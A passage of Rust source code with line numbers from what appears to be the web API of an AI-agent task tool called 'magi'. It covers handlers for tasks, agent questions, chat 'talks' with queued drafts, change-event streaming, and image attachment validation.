3342 body: std::result::Result<Json<EditBody>, JsonRejection>,
3343) -> ApiResult<Json<TaskView>> {
3344 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3345 mutate(ui, id, move |t| {
3346 t.edit(body.title.clone(), body.instruction.clone())
3347 })
3348 .await
3349}
3350
3351async fn queue_done(
3359 State(ui): State<Arc<Ui>>,
3360 Path(id): Path<String>,
3361) -> ApiResult<Json<TaskView>> {
3362 let home = ui.home.clone();
3363 mutate(ui, id, move |t| {
3364 t.succeed();
3365 crate::daemon::supersede_prior_runs(t, &home);
3373 Ok(())
3374 })
3375 .await
3376}
3377
3378async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3386 blocking(move || {
3387 let id = resolve_task(&ui.queue, &id)?;
3388 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3389 ui.queue
3390 .remove(&id, in_flight, &ui.questions)
3391 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3392 Ok(StatusCode::NO_CONTENT)
3393 })
3394 .await
3395}
3396
3397async fn mutate(
3406 ui: Arc<Ui>,
3407 id: String,
3408 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3409) -> ApiResult<Json<TaskView>> {
3410 blocking(move || {
3411 let id = resolve_task(&ui.queue, &id)?;
3412 let _claim = ui.queue.claim(&id).map_err(|e| {
3417 ApiError::conflict(format!(
3418 "{e:#} - a daemon is running this task, so it cannot be \
3419 changed from here yet"
3420 ))
3421 })?;
3422 let mut task = ui.queue.get(&id)?;
3423 change(&mut task).map_err(ApiError::bad_request_from)?;
3424 ui.queue.put(&mut task)?;
3425 Ok(Json(TaskView::from(task)))
3426 })
3427 .await
3428}
3429
3430async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3438 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3439 tokio::spawn(async move {
3440 let mut ticker = tokio::time::interval(POLL);
3441 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3442 loop {
3443 ticker.tick().await;
3446 let state = Arc::clone(&ui);
3447 let revisions = tokio::task::spawn_blocking(move || {
3448 (
3449 state.queue.revision(),
3450 runs_revision(&state.runs),
3451 state.questions.revision(),
3452 state.talks.revision(),
3453 state.notices.revision(),
3454 state.lock_loop().rev,
3458 )
3459 })
3460 .await;
3461 let Ok(revisions) = revisions else { break };
3462 if last == Some(revisions) {
3463 continue;
3464 }
3465 last = Some(revisions);
3466 let payload = serde_json::json!({
3467 "queue_rev": revisions.0,
3468 "runs_rev": revisions.1,
3469 "questions_rev": revisions.2,
3470 "talks_rev": revisions.3,
3471 "notifications_rev": revisions.4,
3472 "loop_rev": revisions.5,
3473 });
3474 let Ok(event) = Event::default().event("change").json_data(payload) else {
3476 break;
3477 };
3478 if tx.send(event).await.is_err() {
3479 break;
3480 }
3481 }
3482 });
3483 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3484 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3485}
3486
3487fn runs_revision(runs: &FsPath) -> u64 {
3494 use std::hash::{Hash as _, Hasher as _};
3495
3496 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3497 .into_iter()
3498 .flatten()
3499 .flatten()
3500 .filter_map(|e| {
3501 let path = e.path().join("run.json");
3502 let mtime = path
3503 .metadata()
3504 .ok()?
3505 .modified()
3506 .ok()?
3507 .duration_since(std::time::UNIX_EPOCH)
3508 .ok()?
3509 .as_millis() as u64;
3510 let id = e.file_name().to_string_lossy().into_owned();
3511 Some((id, mtime))
3512 })
3513 .collect();
3514
3515 if entries.is_empty() {
3516 return 0;
3517 }
3518
3519 entries.sort_unstable();
3520 let mut hasher = std::hash::DefaultHasher::new();
3521 for (id, mtime) in &entries {
3522 id.hash(&mut hasher);
3523 mtime.hash(&mut hasher);
3524 }
3525 let h = hasher.finish();
3526 if h == 0 { 1 } else { h }
3527}
3528
3529fn run_ids(runs: &FsPath) -> Vec<String> {
3535 let mut ids: Vec<String> = std::fs::read_dir(runs)
3536 .into_iter()
3537 .flatten()
3538 .flatten()
3539 .filter(|e| e.path().join("run.json").is_file())
3540 .map(|e| e.file_name().to_string_lossy().into_owned())
3541 .collect();
3542 ids.sort_unstable_by(|a, b| b.cmp(a));
3544 ids
3545}
3546
3547fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3549 let path = runs.join(id).join("run.json");
3550 let body =
3551 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3552 let state: RunState =
3553 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3554 if state.schema != run::SCHEMA {
3555 anyhow::bail!(
3556 "run {} was written by a different magi (schema {}, this build speaks {})",
3557 state.id,
3558 state.schema,
3559 run::SCHEMA
3560 );
3561 }
3562 Ok(state)
3563}
3564
3565#[must_use]
3573pub fn runs_unreadable(runs: &FsPath) -> usize {
3574 run_ids(runs)
3575 .into_iter()
3576 .filter(|id| read_run(runs, id).is_err())
3577 .count()
3578}
3579
3580fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3582 if runs.join(id).join("run.json").is_file() {
3583 return Ok(id.to_owned());
3584 }
3585 pick(run_ids(runs), id, "run")
3586}
3587
3588fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3590 if queue.path_of(id).is_file() {
3591 return Ok(id.to_owned());
3592 }
3593 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3594}
3595
3596#[derive(Debug, Serialize)]
3607struct QuestionView {
3608 #[serde(flatten)]
3609 question: Question,
3610 detail_md: Vec<md::Node>,
3611 waiting_on_agent: bool,
3621}
3622
3623impl From<Question> for QuestionView {
3624 fn from(question: Question) -> Self {
3625 let base = md::ImageBase::QuestionPanel {
3626 id: question.id.clone(),
3627 };
3628 Self {
3629 detail_md: md::to_nodes(&question.detail, &base),
3630 waiting_on_agent: question.waiting_on_agent(),
3631 question,
3632 }
3633 }
3634}
3635
3636async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3642 blocking(move || {
3643 Ok(Json(
3644 ui.questions
3645 .list()
3646 .into_iter()
3647 .map(QuestionView::from)
3648 .collect(),
3649 ))
3650 })
3651 .await
3652}
3653
3654async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3657 blocking(move || {
3658 let items = ui.notices.list();
3659 let unread = items.iter().filter(|n| n.unread()).count();
3660 Ok(Json(
3661 serde_json::json!({ "unread": unread, "items": items }),
3662 ))
3663 })
3664 .await
3665}
3666
3667fn notice_error(e: anyhow::Error) -> ApiError {
3668 ApiError::not_found(format!("{e:#}"))
3671}
3672
3673async fn notification_read(
3675 State(ui): State<Arc<Ui>>,
3676 Path(id): Path<String>,
3677) -> ApiResult<Json<Notice>> {
3678 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3679}
3680
3681async fn notification_dismiss(
3683 State(ui): State<Arc<Ui>>,
3684 Path(id): Path<String>,
3685) -> ApiResult<Json<Notice>> {
3686 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3687}
3688
3689async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3691 blocking(move || {
3692 let changed = ui.notices.mark_all_read()?;
3693 Ok(Json(serde_json::json!({ "marked": changed })))
3694 })
3695 .await
3696}
3697
3698#[derive(Debug, Default, Deserialize)]
3704#[serde(default, deny_unknown_fields)]
3705struct NewAnswer {
3706 choice: Option<String>,
3707 text: Option<String>,
3708}
3709
3710async fn question_answer(
3711 State(ui): State<Arc<Ui>>,
3712 Path(id): Path<String>,
3713 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3714) -> ApiResult<Json<QuestionView>> {
3715 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3716 let answer = match (body.choice, body.text) {
3717 (Some(c), None) => Answer::Choice(c),
3718 (None, Some(t)) => Answer::Text(t),
3719 (Some(_), Some(_)) => {
3720 return Err(ApiError::bad_request(
3721 "send either `choice` or `text`, not both",
3722 ));
3723 }
3724 (None, None) => {
3725 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3726 }
3727 };
3728
3729 blocking(move || {
3730 let id = resolve_question(&ui.questions, &id)?;
3731 let mut q = ui
3732 .questions
3733 .get(&id)
3734 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3735 if !q.status.open() {
3736 return Err(ApiError::conflict(format!(
3740 "question {} is already {}",
3741 q.short(),
3742 q.status.as_str()
3743 )));
3744 }
3745 q.answer(answer).map_err(ApiError::bad_request_from)?;
3749 ui.questions.put(&mut q)?;
3750 Ok(Json(QuestionView::from(q)))
3751 })
3752 .await
3753}
3754
3755#[derive(Debug, Deserialize)]
3757#[serde(deny_unknown_fields)]
3758struct NewSay {
3759 body: String,
3760}
3761
3762async fn question_say(
3772 State(ui): State<Arc<Ui>>,
3773 Path(id): Path<String>,
3774 body: std::result::Result<Json<NewSay>, JsonRejection>,
3775) -> ApiResult<Json<QuestionView>> {
3776 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3777 blocking(move || {
3778 let id = resolve_question(&ui.questions, &id)?;
3779 let mut q = ui
3780 .questions
3781 .get(&id)
3782 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3783 if !q.status.open() {
3784 return Err(ApiError::conflict(format!(
3788 "question {} is already {}",
3789 q.short(),
3790 q.status.as_str()
3791 )));
3792 }
3793 q.say(body.body).map_err(ApiError::bad_request_from)?;
3796 ui.questions.put(&mut q)?;
3797 Ok(Json(QuestionView::from(q)))
3798 })
3799 .await
3800}
3801
3802fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3804 if store.path_of(id).is_file() {
3805 return Ok(id.to_owned());
3806 }
3807 pick(
3808 store.list().into_iter().map(|q| q.id).collect(),
3809 id,
3810 "question",
3811 )
3812}
3813
3814async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3829 blocking(move || {
3830 let id = resolve_question(&ui.questions, &id)?;
3831 let Some(html) = ui.questions.panel_html(&id) else {
3832 return Err(ApiError::not_found(format!("question {id} has no panel")));
3833 };
3834 Ok(panel_response(
3835 "text/html; charset=utf-8",
3836 false,
3837 html.into_bytes(),
3838 ))
3839 })
3840 .await
3841}
3842
3843async fn question_asset(
3871 State(ui): State<Arc<Ui>>,
3872 Path((id, name)): Path<(String, String)>,
3873) -> ApiResult<Response> {
3874 if !crate::ask::valid_asset_name(&name) {
3877 return Err(ApiError::bad_request(format!(
3878 "`{name}` is not a usable asset name"
3879 )));
3880 }
3881 blocking(move || {
3882 let id = resolve_question(&ui.questions, &id)?;
3883 let asset = ui
3884 .questions
3885 .panel_asset(&id, &name)
3886 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3887 let Some(bytes) = asset else {
3888 return Err(ApiError::not_found(format!(
3889 "question {id} has no asset `{name}`"
3890 )));
3891 };
3892 Ok(panel_response(
3893 asset_content_type(&name),
3894 is_svg(&name),
3895 bytes,
3896 ))
3897 })
3898 .await
3899}
3900
3901fn asset_content_type(name: &str) -> &'static str {
3914 match extension(name).as_deref() {
3915 Some("png") => "image/png",
3916 Some("jpg" | "jpeg") => "image/jpeg",
3917 Some("gif") => "image/gif",
3918 Some("webp") => "image/webp",
3919 Some("svg") => "image/svg+xml",
3920 Some("css") => "text/css; charset=utf-8",
3921 Some("txt") => "text/plain; charset=utf-8",
3922 _ => "application/octet-stream",
3923 }
3924}
3925
3926fn is_svg(name: &str) -> bool {
3929 extension(name).as_deref() == Some("svg")
3930}
3931
3932fn extension(name: &str) -> Option<String> {
3934 name.rsplit_once('.')
3935 .map(|(_, ext)| ext.to_ascii_lowercase())
3936}
3937
3938fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3955 let mut res = (
3956 [
3957 (header::CONTENT_TYPE, content_type),
3958 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3959 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3960 (header::REFERRER_POLICY, "no-referrer"),
3961 ],
3962 body,
3963 )
3964 .into_response();
3965 if download {
3966 res.headers_mut().insert(
3967 header::CONTENT_DISPOSITION,
3968 HeaderValue::from_static("attachment"),
3969 );
3970 }
3971 res
3972}
3973
3974#[derive(Debug, Serialize)]
3980struct TalkView {
3981 #[serde(flatten)]
3982 talk: Talk,
3983 turn_bodies_md: Vec<Vec<md::Node>>,
3984 thinking: bool,
3992}
3993
3994impl TalkView {
3995 fn new(talk: Talk, thinking: bool) -> Self {
3996 let turn_bodies_md = talk
3997 .turns
3998 .iter()
3999 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4000 .collect();
4001 Self {
4002 turn_bodies_md,
4003 thinking,
4004 talk,
4005 }
4006 }
4007}
4008
4009#[derive(Debug, Serialize)]
4014struct TalkDetailView {
4015 #[serde(flatten)]
4016 view: TalkView,
4017 tasks: Vec<TaskView>,
4018}
4019
4020async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4025 blocking(move || {
4026 Ok(Json(
4027 ui.talks
4028 .list()
4029 .into_iter()
4030 .map(|talk| {
4031 let thinking = ui.is_thinking(&talk.id);
4032 TalkView::new(talk, thinking)
4033 })
4034 .collect(),
4035 ))
4036 })
4037 .await
4038}
4039
4040#[derive(Debug, Default, Deserialize)]
4045#[serde(default)]
4046struct NewTalk {
4047 agent: Option<String>,
4048 repo: Option<PathBuf>,
4049}
4050
4051async fn talk_post(
4054 State(ui): State<Arc<Ui>>,
4055 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4056) -> ApiResult<impl IntoResponse> {
4057 let body = match body {
4061 Ok(Json(body)) => body,
4062 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4063 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4064 };
4065 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4066 let cfg = config_for(&repo).await?;
4067 let view = blocking(move || {
4068 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4069 let thinking = ui.is_thinking(&talk.id);
4070 Ok(TalkView::new(talk, thinking))
4071 })
4072 .await?;
4073 Ok((StatusCode::CREATED, Json(view)))
4074}
4075
4076async fn talk_detail(
4078 State(ui): State<Arc<Ui>>,
4079 Path(id): Path<String>,
4080) -> ApiResult<Json<TalkDetailView>> {
4081 blocking(move || {
4082 let id = resolve_talk(&ui.talks, &id)?;
4083 let talk = ui.talks.get(&id)?;
4084 let thinking = ui.is_thinking(&talk.id);
4085 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4086 .into_iter()
4087 .map(TaskView::from)
4088 .collect();
4089 Ok(Json(TalkDetailView {
4090 view: TalkView::new(talk, thinking),
4091 tasks,
4092 }))
4093 })
4094 .await
4095}
4096
4097#[derive(Debug, Default, Deserialize)]
4103#[serde(default, deny_unknown_fields)]
4104struct NewTalkTurn {
4105 text: String,
4106 attachments: Vec<String>,
4107}
4108
4109#[derive(Debug, Deserialize)]
4110#[serde(deny_unknown_fields)]
4111struct EditTalkPending {
4112 text: String,
4113 expected_text: String,
4114 expected_attachments: Vec<String>,
4115}
4116
4117#[derive(Debug, Deserialize)]
4118#[serde(deny_unknown_fields)]
4119struct ClearTalkPending {
4120 expected_text: String,
4121 expected_attachments: Vec<String>,
4122}
4123
4124async fn talk_say(
4136 State(ui): State<Arc<Ui>>,
4137 Path(id): Path<String>,
4138 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4139) -> ApiResult<(StatusCode, Json<TalkView>)> {
4140 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4141 if body.text.trim().is_empty() && body.attachments.is_empty() {
4142 return Err(ApiError::bad_request("say something"));
4143 }
4144
4145 let id = {
4146 let ui = Arc::clone(&ui);
4147 let asked = id.clone();
4148 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4149 };
4150 {
4154 let ui = Arc::clone(&ui);
4155 let id = id.clone();
4156 blocking(move || {
4157 let talk = ui.talks.get(&id)?;
4158 if !talk.status.open() {
4159 return Err(ApiError::conflict(format!(
4160 "talk {} is {} and takes no more turns",
4161 talk.short(),
4162 talk.status.as_str()
4163 )));
4164 }
4165 Ok(())
4166 })
4167 .await?;
4168 }
4169
4170 let attachments = {
4175 let ui = Arc::clone(&ui);
4176 let id = id.clone();
4177 let ids = body.attachments.clone();
4178 blocking(move || {
4179 ids.into_iter()
4180 .map(|att_id| {
4181 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4182 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4183 })
4184 })
4185 .collect::<ApiResult<Vec<talk::Attachment>>>()
4186 })
4187 .await?
4188 };
4189
4190 let start = {
4195 let ui = Arc::clone(&ui);
4196 let id = id.clone();
4197 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4198 };
4199 let turn_guard = match start {
4200 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4201 TalkTurnStart::Pending => {
4202 return Err(ApiError::conflict(
4203 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4204 ));
4205 }
4206 TalkTurnStart::Busy => {
4207 let (tx, rx) = tokio::sync::oneshot::channel();
4223 tokio::spawn({
4224 let ui = Arc::clone(&ui);
4225 let id = id.clone();
4226 let said = body.text.clone();
4227 async move {
4228 let written = blocking({
4229 let ui = Arc::clone(&ui);
4230 let id = id.clone();
4231 move || {
4232 let mut talk = ui.talks.get(&id)?;
4233 #[cfg(test)]
4238 if let Some(gate) = ui
4239 .busy_queue_gate
4240 .lock()
4241 .unwrap_or_else(PoisonError::into_inner)
4242 .take()
4243 {
4244 let _ = gate.reached.send(());
4245 let _ = gate.release.recv();
4246 }
4247 if let Err(error) =
4248 talk::queue(&mut talk, &ui.talks, &said, attachments)
4249 {
4250 if let Ok(fresh) = ui.talks.get(&id) {
4251 if !fresh.status.open() {
4252 return Err(ApiError::conflict(format!(
4253 "talk {} is {} and takes no more turns",
4254 fresh.short(),
4255 fresh.status.as_str()
4256 )));
4257 }
4258 }
4259 return Err(ApiError::from(error));
4260 }
4261 let claim = match ui.begin_queued_talk_turn(&id)? {
4272 Some(turn_guard) => {
4273 let (cfg, _) = Config::discover(&talk.repo, None)?;
4274 Some((talk.clone(), cfg, turn_guard))
4275 }
4276 None => None,
4277 };
4278 let thinking = ui.is_thinking(&id);
4279 Ok((TalkView::new(talk, thinking), claim))
4280 }
4281 })
4282 .await;
4283 let (view, reclaimed) = match written {
4284 Ok(pair) => pair,
4285 Err(e) => {
4286 let _ = tx.send(Err(e));
4291 return;
4292 }
4293 };
4294 let _ = tx.send(Ok(view));
4297 if let Some((talk, cfg, turn_guard)) = reclaimed {
4298 let talks = ui.talks.clone();
4299 drain_loop(talk, talks, cfg, id, turn_guard).await;
4300 }
4301 }
4302 });
4303 let view = rx
4304 .await
4305 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4306 return Ok((StatusCode::ACCEPTED, Json(view)));
4307 }
4308 };
4309
4310 let (talk, cfg) = {
4311 let ui = Arc::clone(&ui);
4312 let id = id.clone();
4313 blocking(move || {
4314 let talk = ui.talks.get(&id)?;
4315 let (cfg, _) = Config::discover(&talk.repo, None)?;
4316 Ok((talk, cfg))
4317 })
4318 .await?
4319 };
4320
4321 let talks = ui.talks.clone();
4322 let (tx, rx) = tokio::sync::oneshot::channel();
4337 tokio::spawn({
4338 let ui = Arc::clone(&ui);
4339 let talks = talks.clone();
4340 let id = id.clone();
4341 let said = body.text.clone();
4342 let mut talk = talk.clone();
4343 async move {
4344 let recorded = blocking({
4345 let talks = talks.clone();
4346 move || {
4347 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4348 if let Ok(fresh) = talks.get(&talk.id) {
4349 if !fresh.status.open() {
4350 return Err(ApiError::conflict(format!(
4351 "talk {} is {} and takes no more turns",
4352 fresh.short(),
4353 fresh.status.as_str()
4354 )));
4355 }
4356 }
4357 return Err(ApiError::from(error));
4358 }
4359 Ok((said.trim().to_owned(), talk))
4365 }
4366 })
4367 .await;
4368 let (text, mut talk) = match recorded {
4369 Ok(pair) => pair,
4370 Err(e) => {
4371 let _ = tx.send(Err(e));
4375 return;
4376 }
4377 };
4378 let queued = talk.clone();
4379 let thinking = ui.is_thinking(&id);
4380 let _ = tx.send(Ok((queued, thinking)));
4383
4384 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4385 tracing::warn!("talk {id} turn failed: {e:#}");
4389 }
4390 drain_loop(talk, talks, cfg, id, turn_guard).await;
4393 }
4394 });
4395
4396 let (queued, thinking) = rx
4397 .await
4398 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4399
4400 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4402}
4403
4404async fn talk_pending_resume(
4408 State(ui): State<Arc<Ui>>,
4409 Path(id): Path<String>,
4410) -> ApiResult<(StatusCode, Json<TalkView>)> {
4411 let id = {
4412 let ui = Arc::clone(&ui);
4413 let asked = id.clone();
4414 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4415 };
4416 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4417 return Err(ApiError::conflict(
4418 "a talk turn is already running; the queued draft will be handled by it",
4419 ));
4420 };
4421 let (talk, cfg) = {
4422 let ui = Arc::clone(&ui);
4423 let id = id.clone();
4424 blocking(move || {
4425 let talk = ui.talks.get(&id)?;
4426 if !talk.status.open() {
4427 return Err(ApiError::conflict(format!(
4428 "talk {} is {} and takes no more turns",
4429 talk.short(),
4430 talk.status.as_str()
4431 )));
4432 }
4433 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4434 return Err(ApiError::conflict("there is no queued draft to resume"));
4435 }
4436 let (cfg, _) = Config::discover(&talk.repo, None)?;
4437 Ok((talk, cfg))
4438 })
4439 .await?
4440 };
4441 let view = TalkView::new(talk.clone(), true);
4442 let talks = ui.talks.clone();
4443 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4444 Ok((StatusCode::ACCEPTED, Json(view)))
4445}
4446
4447async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4463 let live_set = Arc::clone(&turn.turns);
4464 let mut turn = Some(turn);
4472 loop {
4473 let observed = live_set
4477 .lock()
4478 .unwrap_or_else(PoisonError::into_inner)
4479 .queued
4480 .get(&id)
4481 .copied()
4482 .unwrap_or(0);
4483 let drained = blocking({
4484 let talks = talks.clone();
4485 move || {
4486 let result = talk::drain(&mut talk, &talks);
4487 Ok((talk, result))
4488 }
4489 })
4490 .await;
4491 let (next_talk, result) = match drained {
4492 Ok(drained) => drained,
4493 Err(e) => {
4494 tracing::warn!(
4495 status = %e.status,
4496 message = %e.message,
4497 "talk {id} could not start queued-text drain"
4498 );
4499 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4500 turn.take()
4501 .expect("held for the whole loop until released here")
4502 .release(&mut live);
4503 break;
4504 }
4505 };
4506 talk = next_talk;
4507 let drained = match result {
4508 Ok(Some(drained)) => drained,
4509 Ok(None) => {
4510 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4511 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4512 continue;
4513 }
4514 turn.take()
4515 .expect("held for the whole loop until released here")
4516 .release(&mut live);
4517 break;
4518 }
4519 Err(e) => {
4520 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4521 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4522 turn.take()
4523 .expect("held for the whole loop until released here")
4524 .release(&mut live);
4525 break;
4526 }
4527 };
4528 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4529 tracing::warn!("talk {id} turn failed: {e:#}");
4530 }
4531 }
4532}
4533
4534async fn talk_pending_clear(
4536 State(ui): State<Arc<Ui>>,
4537 Path(id): Path<String>,
4538 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4539) -> ApiResult<Json<TalkView>> {
4540 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4541 blocking(move || {
4542 let id = resolve_talk(&ui.talks, &id)?;
4543 let mut talk = ui.talks.get(&id)?;
4544 if !talk.status.open() {
4545 return Err(ApiError::conflict(format!(
4546 "talk {} is {} and takes no more turns",
4547 talk.short(),
4548 talk.status.as_str()
4549 )));
4550 }
4551 if !talk::clear_pending_if_matches(
4552 &mut talk,
4553 &ui.talks,
4554 &body.expected_text,
4555 &body.expected_attachments,
4556 )? {
4557 return Err(ApiError::conflict(
4558 "queued message changed; reload it before clearing",
4559 ));
4560 }
4561 let thinking = ui.is_thinking(&talk.id);
4562 Ok(Json(TalkView::new(talk, thinking)))
4563 })
4564 .await
4565}
4566
4567async fn talk_pending_edit(
4571 State(ui): State<Arc<Ui>>,
4572 Path(id): Path<String>,
4573 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4574) -> ApiResult<Json<TalkView>> {
4575 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4576 let (view, reclaimed) = blocking({
4577 let ui = Arc::clone(&ui);
4578 move || {
4579 let id = resolve_talk(&ui.talks, &id)?;
4580 let mut talk = ui.talks.get(&id)?;
4581 if !talk.status.open() {
4582 return Err(ApiError::conflict(format!(
4583 "talk {} is {} and takes no more turns",
4584 talk.short(),
4585 talk.status.as_str()
4586 )));
4587 }
4588 if !talk::edit_pending_text(
4589 &mut talk,
4590 &ui.talks,
4591 &body.text,
4592 &body.expected_text,
4593 &body.expected_attachments,
4594 )? {
4595 return Err(ApiError::conflict(
4596 "queued message changed; reload it before editing",
4597 ));
4598 }
4599 let claim = match ui.begin_queued_talk_turn(&id)? {
4600 Some(turn_guard) => {
4601 let (cfg, _) = Config::discover(&talk.repo, None)?;
4602 Some((talk.clone(), cfg, id.clone(), turn_guard))
4603 }
4604 None => None,
4605 };
4606 let thinking = ui.is_thinking(&id);
4607 Ok((TalkView::new(talk, thinking), claim))
4608 }
4609 })
4610 .await?;
4611 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4612 let talks = ui.talks.clone();
4613 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4614 }
4615 Ok(Json(view))
4616}
4617
4618async fn talk_close(
4620 State(ui): State<Arc<Ui>>,
4621 Path(id): Path<String>,
4622) -> ApiResult<Json<TalkView>> {
4623 blocking(move || {
4624 let id = resolve_talk(&ui.talks, &id)?;
4625 let mut talk = ui.talks.get(&id)?;
4626 talk::close(&mut talk, &ui.talks)?;
4627 let thinking = ui.is_thinking(&talk.id);
4628 Ok(Json(TalkView::new(talk, thinking)))
4629 })
4630 .await
4631}
4632
4633async fn talk_reopen(
4635 State(ui): State<Arc<Ui>>,
4636 Path(id): Path<String>,
4637) -> ApiResult<Json<TalkView>> {
4638 blocking(move || {
4639 let id = resolve_talk(&ui.talks, &id)?;
4640 let mut talk = ui.talks.get(&id)?;
4641 talk::reopen(&mut talk, &ui.talks)?;
4642 let thinking = ui.is_thinking(&talk.id);
4643 Ok(Json(TalkView::new(talk, thinking)))
4644 })
4645 .await
4646}
4647
4648async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4658 blocking(move || {
4659 let id = resolve_talk(&ui.talks, &id)?;
4660 ui.talks.remove(&id)?;
4661 Ok(StatusCode::NO_CONTENT)
4662 })
4663 .await
4664}
4665
4666fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4668 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4669}
4670
4671async fn talk_attachment_post(
4674 State(ui): State<Arc<Ui>>,
4675 Path(id): Path<String>,
4676 headers: HeaderMap,
4677 body: Bytes,
4678) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4679 let mime = validate_attachment(&headers, &body)?;
4680 let name = filename_header(&headers);
4681 let data = body.to_vec();
4682 blocking(move || {
4683 let id = resolve_talk(&ui.talks, &id)?;
4684 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4685 Ok((StatusCode::CREATED, Json(att)))
4686 })
4687 .await
4688}
4689
4690async fn talk_attachment_get(
4693 State(ui): State<Arc<Ui>>,
4694 Path((id, att)): Path<(String, String)>,
4695) -> ApiResult<Response> {
4696 blocking(move || {
4697 let id = resolve_talk(&ui.talks, &id)?;
4698 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4699 return Err(ApiError::not_found(format!(
4700 "talk {id} has no attachment `{att}`"
4701 )));
4702 };
4703 Ok(attachment_response(&meta.mime, data))
4704 })
4705 .await
4706}
4707
4708fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4719 if data.len() > ATTACHMENT_MAX_BYTES {
4720 return Err(ApiError::bad_request(format!(
4721 "attachment is {} bytes, over the {} MiB limit",
4722 data.len(),
4723 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4724 ))
4725 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4726 }
4727 if data.is_empty() {
4728 return Err(ApiError::bad_request("attachment is empty"));
4729 }
4730 let declared = declared_mime(headers)?;
4731 match sniffed_mime(data) {
4732 Some(sniffed) if sniffed == declared => Ok(declared),
4733 Some(sniffed) => Err(ApiError::bad_request(format!(
4734 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4735 ))),
4736 None => Err(ApiError::bad_request(
4737 "the file's bytes do not match any accepted image format",
4738 )),
4739 }
4740}
